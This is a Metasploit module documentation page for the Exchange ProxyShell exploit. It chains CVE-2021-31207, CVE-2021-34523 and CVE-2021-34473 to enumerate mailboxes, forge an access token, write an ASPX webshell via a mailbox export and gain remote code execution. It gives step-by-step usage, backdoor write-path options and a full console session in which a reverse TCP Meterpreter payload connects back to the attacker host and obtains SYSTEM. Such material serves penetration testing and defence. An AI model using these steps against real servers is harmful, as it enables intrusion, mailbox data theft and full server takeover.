PageRenderTime 35ms CodeModel.GetById 12ms RepoModel.GetById 0ms app.codeStats 0ms

/documentation/modules/exploit/windows/http/exchange_proxyshell_rce.md

https://github.com/rapid7/metasploit-framework
Markdown | 142 lines | 105 code | 37 blank | 0 comment | 0 complexity | 04951f6dc36f2e77e96a75a1cff247ef MD5 | raw file
  1. ## Vulnerable Application
  2. This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication
  3. (CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
  4. the RCE (Remote Code Execution).
  5. By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
  6. This vulnerability affects:
  7. * Exchange 2013 CU23 < 15.0.1497.15
  8. * Exchange 2016 CU19 < 15.1.2176.12
  9. * Exchange 2016 CU20 < 15.1.2242.5
  10. * Exchange 2019 CU8 < 15.2.792.13
  11. * Exchange 2019 CU9 < 15.2.858.9
  12. *Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
  13. ### Exploit Internals
  14. At a high level, the steps the exploit takes are as follows:
  15. 1. Build a Common Access Token corresponding to a user with the "Mailbox Import Export" role
  16. 1. If an email address is specified using the `EMAIL` datastore option, the exploit will attempt to use the owner
  17. 1. If no email address is specified
  18. 1. The exploit will leverage the SSRF to issue a reques to EWS and enumerate the email addresses
  19. * This technique was taken from [dmassland/proxyshell-poc](https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py)
  20. 1. The module will store the enumerated email addresses in a CSV file
  21. 1. Each of the email addresses will be checked for the necessary role
  22. 1. A common access token will be built using the verified user's SID
  23. * Email addresses are mapped to SIDs using a request to autodiscover and MAPI
  24. 1. A draft email is saved to the identified user's mailbox containing an encoded webshell embedded within an attachment
  25. 1. The `New-MailboxExportRequest` cmdlet is used to export the attachment and write the webshell to an accessible location
  26. 1. The exploit waits for the webshell to be written and uses it to execute OS commands
  27. 1. The webshell*, export request and draft email are all removed
  28. * *The webshell can only be remove automatically if the selected payload establishes a sessions (such as Meterpreter)
  29. ## Verification Steps
  30. 1. Start msfconsole
  31. 1. Do: `use exploit/windows/http/exchange_proxyshell_rce`
  32. 1. Do: `set RHOSTS [IP]`
  33. 1. Do: `run`
  34. ## Options
  35. ### EMAIL
  36. A known email address for this organization. If specified, the user who owns the mailbox must either have the "Mailbox
  37. Import Export" role already or have the necessary permissions to assign it to themselves. This would typically be some
  38. sort of an administrative user. If this option is left blank, the module will enumerate all valid email addresses and
  39. check each one for the necessary privileges.
  40. ### UseAlternatePath
  41. Use the IIS root dir as alternate path. Default: `false`
  42. ## Advanced Options
  43. ### BackendServerName
  44. Force the name of the backend Exchange server targeted. Default: Automatic
  45. If not set, the automatic method will use an RPC call to detect the backend server FQDN. This is required because the
  46. kerberos-authenticated SSRF can only be sent when the FQDN is known.
  47. ### ExchangeBasePath
  48. The base path where Exchange is installed. Default: `C:\Program Files\Microsoft\Exchange Server\V15`
  49. ### ExchangeWritePath
  50. The path where you want to write the backdoor. Default: `owa\auth`
  51. You can for example, set it to: `ecp\auth`
  52. ### IISBasePath
  53. The base path where IIS wwwroot directory is. Default: `C:\inetpub\wwwroot`
  54. ### IISWritePath
  55. The path where you want to write the backdoor. Default: `aspnet_client`
  56. ### MapiClientApp
  57. This is MAPI client version sent in the request.
  58. ## Scenarios
  59. ### Exchange 2016 CU 19 on Server 2016
  60. ```
  61. msf6 > use exploit/windows/http/exchange_proxyshell_rce
  62. [*] Using configured payload windows/x64/meterpreter/reverse_tcp
  63. msf6 exploit(windows/http/exchange_proxyshell_rce) > set RHOSTS 192.168.159.42
  64. RHOSTS => 192.168.159.42
  65. msf6 exploit(windows/http/exchange_proxyshell_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
  66. PAYLOAD => windows/x64/meterpreter/reverse_tcp
  67. msf6 exploit(windows/http/exchange_proxyshell_rce) > set LHOST 192.168.159.128
  68. LHOST => 192.168.159.128
  69. msf6 exploit(windows/http/exchange_proxyshell_rce) > check
  70. [+] 192.168.159.42:443 - The target is vulnerable.
  71. msf6 exploit(windows/http/exchange_proxyshell_rce) > exploit
  72. [*] Started reverse TCP handler on 192.168.159.128:4444
  73. [*] Running automatic check ("set AutoCheck false" to disable)
  74. [+] The target is vulnerable.
  75. [*] Attempt to exploit for CVE-2021-34473
  76. [*] Retrieving backend FQDN over RPC request
  77. [*] Internal server name: win-bpid95acq7e.exchg.lan
  78. [*] Enumerating valid email addresses and searching for one that either has the 'Mailbox Import Export' role or can self-assign it
  79. [*] Enumerated 2 email addresses
  80. [*] Saved mailbox and email address data to: /home/smcintyre/.msf4/loot/20210827174927_default_192.168.159.42_ad.exchange.mail_205456.txt
  81. [+] Successfully assigned the 'Mailbox Import Export' role
  82. [+] Proceeding with SID: S-1-5-21-2800676829-2777257591-1686523126-1000 (smcintyre@exchg.lan)
  83. [*] Saving a draft email with subject 'ie1Y1uNnLfxL' containing the attachment with the embedded webshell
  84. [*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\n7AB4NuOznEA.aspx
  85. [*] Waiting for the export request to complete...
  86. [+] The mailbox export request has completed
  87. [*] Triggering the payload
  88. [*] Sending stage (200262 bytes) to 192.168.159.42
  89. [+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\n7AB4NuOznEA.aspx
  90. [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.42:7149) at 2021-08-27 17:49:40 -0400
  91. [*] Removing the mailbox export request
  92. [*] Removing the draft email
  93. meterpreter > getuid
  94. Server username: NT AUTHORITY\SYSTEM
  95. meterpreter > sysinfo
  96. Computer : WIN-BPID95ACQ7E
  97. OS : Windows 2016+ (10.0 Build 14393).
  98. Architecture : x64
  99. System Language : en_US
  100. Domain : EXCHG
  101. Logged On Users : 8
  102. Meterpreter : x64/windows
  103. meterpreter >
  104. ```
  105. [1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-april-13-2021-kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef064